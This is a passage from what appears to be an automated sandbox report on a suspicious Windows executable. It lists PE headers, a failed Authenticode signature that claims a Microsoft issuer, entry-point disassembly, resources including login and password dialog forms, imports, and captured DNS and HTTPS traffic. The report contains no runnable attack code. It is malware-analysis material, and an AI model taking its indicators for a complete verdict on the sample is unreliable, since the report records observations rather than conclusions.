OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c7f986b767e22dea5696886cb4d7da70

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	8/18/2016 10:17:17 PM 11/2/2017 9:17:17 PM
Subject Chain	CN=Microsoft Corporation, OU=MOPR, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	3B66EDDAB891B79FEDB150AC2C59DB3A
Thumbprint SHA-1:	98ED99A67886D020C564923B7DF25E9AC019DF26
Thumbprint SHA-256:	57DD481BF26C0A55C3E867B2D6C6978BEAF5CE3509325CA2607D853F9349A9FF
Serial:	330000014096A9EE7056FECC07000100000140

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0047CE60h
call 00007F897485DF95h
lea edx, dword ptr [ebx+eax]
push 00000019h
mov eax, dword ptr [004807A4h]
mov eax, dword ptr [eax]
call 00007F89748B30E8h
mov ecx, dword ptr [00480750h]
mov eax, dword ptr [004807A4h]
mov eax, dword ptr [eax]
mov edx, dword ptr [0047C9ECh]
call 00007F89748B30E8h
mov eax, dword ptr [00480750h]
mov eax, dword ptr [eax]
xor edx, edx
call 00007F89748AC65Ah
mov eax, dword ptr [004807A4h]
mov eax, dword ptr [eax]
mov byte ptr [eax+5Bh], 00000000h
mov eax, dword ptr [004807A4h]
mov eax, dword ptr [eax]
call 00007F89748B3143h
call 00007F897485BA86h
nop
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x83000	0x22b0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x91000	0xb1400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x13ae00	0x54c0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x88000	0x8138	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x87000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x7c17c	0x7c200	False	0.522454053374	data	6.55138199518	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
DATA	0x7e000	0x2954	0x2a00	False	0.412109375	data	4.92006813937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
BSS	0x81000	0x114d	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.idata	0x83000	0x22b0	0x2400	False	0.355251736111	data	4.85312153514	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.tls	0x86000	0x10	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rdata	0x87000	0x18	0x200	False	0.05078125	data	0.206920017787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x88000	0x8138	0x8200	False	0.584435096154	data	6.65713214053	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x91000	0xb1400	0xb1400	False	0.549846008903	data	7.13567802778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x9217c	0x134	data
RT_CURSOR	0x922b0	0x134	data
RT_CURSOR	0x923e4	0x134	data
RT_CURSOR	0x92518	0x134	data
RT_CURSOR	0x9264c	0x134	data
RT_CURSOR	0x92780	0x134	data
RT_CURSOR	0x928b4	0x134	data
RT_BITMAP	0x929e8	0x1d0	data
RT_BITMAP	0x92bb8	0x1e4	data
RT_BITMAP	0x92d9c	0x1d0	data
RT_BITMAP	0x92f6c	0x1d0	data
RT_BITMAP	0x9313c	0x1d0	data
RT_BITMAP	0x9330c	0x1d0	data
RT_BITMAP	0x934dc	0x1d0	data
RT_BITMAP	0x936ac	0x1d0	data
RT_BITMAP	0x9387c	0x1d0	data
RT_BITMAP	0x93a4c	0x1d0	data
RT_BITMAP	0x93c1c	0x5c	data
RT_BITMAP	0x93c78	0x5c	data
RT_BITMAP	0x93cd4	0x5c	data
RT_BITMAP	0x93d30	0x5c	data
RT_BITMAP	0x93d8c	0x5c	data
RT_BITMAP	0x93de8	0x138	data
RT_BITMAP	0x93f20	0x138	data
RT_BITMAP	0x94058	0x138	data
RT_BITMAP	0x94190	0x138	data
RT_BITMAP	0x942c8	0x138	data
RT_BITMAP	0x94400	0x138	data
RT_BITMAP	0x94538	0x104	data
RT_BITMAP	0x9463c	0x138	data
RT_BITMAP	0x94774	0x104	data
RT_BITMAP	0x94878	0x138	data
RT_BITMAP	0x949b0	0xe8	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x94a98	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x94f00	0x988	data	English	United States
RT_ICON	0x95888	0x10a8	data	English	United States
RT_ICON	0x96930	0x25a8	data	English	United States
RT_ICON	0x98ed8	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 240, next used block 251658240	English	United States
RT_ICON	0x9d100	0x5488	data	English	United States
RT_ICON	0xa2588	0x94a8	data	English	United States
RT_ICON	0xaba30	0xa2a8	data	English	United States
RT_DIALOG	0xb5cd8	0x52	data
RT_STRING	0xb5d2c	0x280	data
RT_STRING	0xb5fac	0x274	data
RT_STRING	0xb6220	0x1ec	data
RT_STRING	0xb640c	0x13c	data
RT_STRING	0xb6548	0x2c8	data
RT_STRING	0xb6810	0xfc	Hitachi SH big-endian COFF object file, not stripped, 17664 sections, symbol offset=0x65007200, 83907328 symbols, optional header size 28672
RT_STRING	0xb690c	0xf8	data
RT_STRING	0xb6a04	0x128	data
RT_STRING	0xb6b2c	0x468	data
RT_STRING	0xb6f94	0x37c	data
RT_STRING	0xb7310	0x39c	data
RT_STRING	0xb76ac	0x3e8	data
RT_STRING	0xb7a94	0xf4	data
RT_STRING	0xb7b88	0xc4	data
RT_STRING	0xb7c4c	0x2c0	data
RT_STRING	0xb7f0c	0x478	data
RT_STRING	0xb8384	0x3ac	data
RT_STRING	0xb8730	0x2d4	data
RT_RCDATA	0xb8a04	0x10	data
RT_RCDATA	0xb8a14	0x398	data
RT_RCDATA	0xb8dac	0x494	Delphi compiled form 'TLoginDialog'
RT_RCDATA	0xb9240	0x3c4	Delphi compiled form 'TPasswordDialog'
RT_RCDATA	0xb9604	0x76f67	GIF image data, version 89a, 577 x 188	English	United States
RT_RCDATA	0x13056c	0x11a42	Delphi compiled form 'T__958758541'
RT_GROUP_CURSOR	0x141fb0	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x141fc4	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x141fd8	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x141fec	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x142000	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x142014	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x142028	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_ICON	0x14203c	0x76	data	English	United States
RT_MANIFEST	0x1420b4	0x2f0	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, lstrcmpiA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetSystemInfo, GetStringTypeExA, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetROP2, GetPolyFillMode, GetPixel, GetPaletteEntries, GetObjectA, GetMapMode, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2020 10:27:38.393749952 CET	49731	443	192.168.2.4	162.159.128.233
Nov 28, 2020 10:27:38.410197020 CET	443	49731	162.159.128.233	192.168.2.4
Nov 28, 2020 10:27:38.410366058 CET	49731	443	192.168.2.4	162.159.128.233
Nov 28, 2020 10:27:38.411195993 CET	49731	443	192.168.2.4	162.159.128.233
Nov 28, 2020 10:27:38.427740097 CET	443	49731	162.159.128.233	192.168.2.4
Nov 28, 2020 10:27:38.427881956 CET	49731	443	192.168.2.4	162.159.128.233
Nov 28, 2020 10:27:38.511373997 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.527805090 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.527992964 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.533566952 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.549958944 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.551420927 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.551466942 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.551489115 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.551557064 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.602339983 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.618768930 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.624269962 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.676007986 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.714512110 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.730875969 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748243093 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748271942 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748286009 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748294115 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748311043 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748321056 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748344898 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748369932 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748368025 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748388052 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748413086 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748421907 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748437881 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748456001 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748481035 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748493910 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748497963 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748518944 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748533964 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748544931 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748548985 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748567104 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748583078 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748596907 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748598099 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748616934 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748635054 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748651028 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748663902 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748668909 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748686075 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748703003 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748719931 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748723984 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748735905 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748759031 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748784065 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748786926 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748811007 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748835087 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748838902 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748857975 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748878002 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748897076 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748919964 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748931885 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.748944998 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748967886 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.748994112 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749001980 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.749021053 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749041080 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749052048 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.749063015 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749083996 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749103069 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749108076 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.749125957 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749146938 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749170065 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749175072 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.749201059 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749224901 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749227047 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.749247074 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749267101 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749281883 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749298096 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.749300957 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749322891 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749344110 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749358892 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.749363899 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.749437094 CET	49732	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:27:38.765702009 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.765732050 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.765748978 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.765767097 CET	443	49732	162.159.135.233	192.168.2.4
Nov 28, 2020 10:27:38.765784025 CET	443	49732	162.159.135.233	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2020 10:27:32.105194092 CET	49257	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:32.132352114 CET	53	49257	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:33.249830008 CET	62389	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:33.276961088 CET	53	62389	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:34.431451082 CET	49910	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:34.466702938 CET	53	49910	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:35.653541088 CET	55854	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:35.680615902 CET	53	55854	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:36.803164959 CET	64549	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:36.830279112 CET	53	64549	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:37.973012924 CET	63153	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:38.000180006 CET	53	63153	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:38.349987030 CET	52991	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:38.377156019 CET	53	52991	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:38.482669115 CET	53700	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:38.509799004 CET	53	53700	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:39.898204088 CET	51726	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:39.925381899 CET	53	51726	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:41.057318926 CET	56794	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:41.095279932 CET	53	56794	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:42.109436989 CET	56534	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:42.136538982 CET	53	56534	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:43.149235010 CET	56627	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:43.176418066 CET	53	56627	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:44.227277040 CET	56621	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:44.254465103 CET	53	56621	8.8.8.8	192.168.2.4
Nov 28, 2020 10:27:45.288141012 CET	63116	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:27:45.315246105 CET	53	63116	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:01.659817934 CET	64078	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:01.686841011 CET	53	64078	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:11.242733002 CET	64801	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:11.279992104 CET	53	64801	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:19.475851059 CET	61721	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:19.859035969 CET	53	61721	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:25.990252972 CET	51255	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:26.017462015 CET	53	51255	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:26.737153053 CET	61522	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:26.764110088 CET	53	61522	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:27.368941069 CET	52337	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:27.406620979 CET	53	52337	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:27.743135929 CET	55046	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:27.770309925 CET	53	55046	8.8.8.8	192.168.2.4
Nov 28, 2020 10:28:28.462677002 CET	49612	53	192.168.2.4	8.8.8.8
Nov 28, 2020 10:28:28.489752054 CET	53	49612	8.8.8.8	192.168.2.4
